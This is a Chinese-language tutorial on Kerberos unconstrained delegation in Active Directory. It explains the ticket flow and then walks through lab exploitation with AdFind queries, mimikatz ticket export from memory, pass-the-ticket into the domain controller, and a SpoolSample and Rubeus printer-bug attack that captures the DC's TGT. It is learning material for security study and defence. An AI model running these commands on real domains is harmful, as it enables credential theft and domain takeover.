非约束委派

域委派是什么及其由来

域委派是指：将域内用户的权限委派给服务账号，使得服务账号能以用户权限开展域内活动

懂一个东西的产生，肯定要先知道为什么会产生这个东西？

在 Windows 2000 Server 首次发布 Active Directory 时，Microsoft 必须提供一种简单的机制来支持用户通过 kerberos 向 web server 进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为 “kerberos双跳问题”，并且要求进行委派，以便 web server 在修改数据库记录时模拟用户。

这里说的“以便 web server 在修改数据库记录时模拟用户”需要如何理解？

我自己理解的是就比如数据库中的相关数据需要修改，如果此时如果是让当前的 web server 的服务账户去进行修改的话，那么也就无法记录到到底是谁去修改了这个数据，此时如果出了问题就不知道该去问谁了，这种业务情况下就可能就是需要委派这种功能来进行解决，那么委派之后的情况就是，让当前的 web server 的服务账户去操作，但是 web server 同样带有客户的信息，在修改相关数据的时候，用的是对应客户操作者的记录。

这里还需要注意的一点就是接受委派的用户只能是服务账户或者主机账户

在域内只有主机账号和服务账号才有委派属性

1、机器账户：活动目录中的 computers 组内的计算机，也被称为机器账号。

2、服务账号：域内用户的一种类型，是服务器运行服务时所用的账号，将服务运行起来加入域内，比如：SQLServer，MYSQL 等，还有就是域用户通过注册 SPN 也能成为服务账号。

SQL Server 在安装时，会在域内自动注册服务账号 SqlServiceAccount，这类账号不能用于交互式登录。

非约束性委派

非约束性委派（Unconstrained Delegation）

通俗来讲就是 ：

在域中如果出现 A 使用 Kerberos 身份验证访问域中的服务 B，而 B 再利用 A 的身份去请求域中的服务 C，这个过程就可以理解为委派

一个经典例子：参考Y4er

jack需要登陆到后台文件服务器，经过 Kerberos 认证的过程如下：

1. jack 以 Kerberos 协议认证登录，将凭证发送给 websvc
2. websvc 使用 jack 的凭证向 KDC 发起 Kerberos 申请 TGT。
3. KDC 检查 websvc 的委派属性，如果 websvc 可以委派，则返回可转发的 jack 的 TGT。
4. websvc 收到可转发 TGT 之后，使用该 TGT 向 KDC 申请可以访问后台文件服务器的 TGS 票据。
5. KDC 检查 websvc 的委派属性，如果可以委派，并且权限允许，那么返回 jack 访问服务的 TGS 票据。
6. websvc 使用 jack 的服务 TGS 票据请求后台文件服务器。

微软的非约束委派的请求流程图如下所示

1. 用户通过发送 KRB_AS_REQ 消息请求 TGT1  (TGT1是用户访问service1的票据)
2. KDC 在 KRB_AS_REP 消息中返回 TGT1
3. 用户再通过 TGT1 向 KDC 请求转发 TGT2（这里的TGT2跟TGT1不同，这里的TGT2票据属性中存在可转发的标记Forwarded）
4. 在 KRB_TGS_REP 消息中返回转发 TGT2（可转发的标记Forwarded）
5. 用户使用 TGT1 向 KDC 申请访问 Service1 的 ST（服务票据）
6. TGS 返回给用户一个 ST（服务票据）

到第六步这里，其实大家都看到了就是一个完整的 kerberos 票据验证流程，唯一有一个不同，那就是在请求了 TGT1 票据之后还会再去请求另一张 TGT2 票据，这个 TGT2 的票据跟 TGT1 唯一的不同点就是带有 可转发的标记 Forwarded

7. 用户发送 KRB_AP_REQ 请求至 Service1，这个请求中包含了 TGT1 和 ST（服务票据）、TGT2、TGT2 的 Session key

在第七步的时候可以看到，发送给 Service1 的时候会发送了相关的 TGT1、ST 和 TGT2、TGT2的 Session key，需要注意的就是这里的 TGT2（可转发的标记） TGT2 的 Session key 会被存储到Service1 中用于之后的请求

8. Service1 使用用户的TGT2（可转发的标记）通过 KRB_TGS_REQ 发送给 KDC，以用户的名义请求能够访问 Service2 的票据 ST2

9. KDC 在 KRB_TGS_REP 消息中返回 Service2 到 Service1 的票据 ST2

10. Service1 以客户的名义用 ST2 发送 KRB_AP_REQ 请求

为什么是以客户的名义呢？个人理解就是因为上面我们说的 TGT2（可转发的标记）来请求Service2。

11. Service2 响应步骤 10 中 Service1 的请求

12. Service1 响应步骤 7 中用户的请求

13. 在这个过程中的 TGT 转发机制，没有限制 Service1 对 TGT2 的使用，也就是说 Service1 可以通过 TGT2 来请求任意服务

14. KDC 返回步骤 13 中请求的票据，15 和 16 即为 Service1 通过模拟用户来访问其他 ServiceXXXX

当 user 访问 service1 时，如果 service1 的服务账号如果开启了 Unconstrained Delegation（非约束委派），则当 user 访问 service1 时会将 user 的 TGT（带有可转发标记）发送给 service1 并保存在内存中以备下次重用，然后 service1 就可以利用这张 TGT 以 user 的身份去访问域内的任何服务（任何服务是指user能访问的服务）了。

说在简单点就是：

比如：service1 配置了非约束性委派，用户 A 需要委派 service1 来访问service2。这个service1可以是主机账户。

那么非约束性委派的过程可以大概理解为：

用户 A 向 KDC 申请一张可转发的用户 A 自己的 TGT 与访问 service1 需要的 ticket。用户 A 将第一步得到的 ticket 与可转发的 tgt 与 tgt 中的 session key 一起发送给了 service1。service1 使用那张 tgt 与 session key 来代表用户 A 行使后续操作例如访问 service2。

非约束委派的利用

主机账户的非约束委派利用：

一台 WIN-BING-PC 机器名称的机器

通过 adFind 进行查询，也可以看到此时已经被设置为了非约束委派

adFind -b dc=hengge,dc=com -f "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

然后域控再次访问 WIN-BING-PC 这台机器，通过命令 dir //WIN-BING-PC/c$，走是的 kerberos 的 cifs 协议

然后导出 WIN-BING-PC 机器中的票据

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

结果发现没有相关的 administrator 的票据 kirbi

接着我用域控通过命令来访问 Enter-PSSession -ComputerName WIN-BING-PC

然后导出 WIN-BING-PC 机器中的票据

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

然后会看到一张基于导出了相关的域控中 administrator 的高权限票据

访问域控 dc1.hengge.com ，可以看到当前没有权限访问

然后这里来进行导入票据访问，可以发现成功进行访问了

mimikatz "kerberos::ptt [0;7f4a8][email protected]" exit

服务账号的非约束委派利用

实验环境：

域：YUNYING.LAB

域控：WindowsServer 2008 R2 x64(DC)：用户Administrator

域内主机：WindowsServer 2008 R2 x64(s2)：用户tsvc

所需工具：

Mimikatz

实验流程：

在域中只有服务账户才能有委派功能，所以先把用户 tsvc 设置为服务账号。

setspn -U -Avariant/golden tsvc

通过 setspn -l tsvc 查看配置成功。

然后在“AD用户和计算机”中将 tsvc 设置为非约束委派模式

此时在域控上使用 Administrator 访问 tsvc 所在主机 S2 的 SMB 服务。

我们在 S2 上通过 mimikatz 可以导出 Administrator 发送过来的 TGT 内容。这里需要使用管理员权限打开 mimikatz，然后通过 privilege::debug 命令提升权限，如果没有提升权限会报 kuhl_m_sekurlsa_acquireLSA 错误。再使用 sekurlsa::tickets/export 命令导出内存中所有的票据。

可以看到名称为 [0;9bec9][email protected] 的这一条即为 Administrator 发送的 TGT。

此时访问域控被拒绝。

通过

kerberos::ptt [0;9bec9][email protected]

命令将 TGT 内容导入到当前会话中，其实这也是一次 Pass The Ticket 攻击（有兴趣的可以了解一下）。

通过 kerberos::list 查看当前会话可以看到票据已经导入到当前会话。

导入之后已经可以访问域控的共享目录。也就是说每当存在用户访问 tsvc 的服务时，tsvc 的服务就会将访问者的 TGT 保存在内存中，可以通过这个 TGT 访问这个 TGT 所属用户的所有服务。

非约束委派+Spooler打印机服务

环境：DM可委派，DC是域控。

利用 Windows 打印系统远程协议（MS-RPRN）中的一种旧的但是默认启用的方法，在该方法中，域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。

工具：https://github.com/leechristensen/SpoolSample

议题文章地址：https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory

需要以域用户运行 SpoolSample，需要开启 Print Spooler 服务，该服务默认自启动。

SpoolSample.exe DC DM

使 DC 强制访问 DM 认证，同时使用 rubeus 监听来自 DC 的 4624 登录日志

Rubeus.exe monitor /interval:1 /filteruser:dc$

使用 Rubues 导入 base64 的 ticket

./Rubeus.exe ptt /ticket:base64

此时导出的 ticket 就有 DC 的 TGT 了

用 mimikatz ptt 就完事

参考：https://y4er.com/post/kerberos-unconstrained-delegation/

https://www.freebuf.com/articles/neopoints/198381.html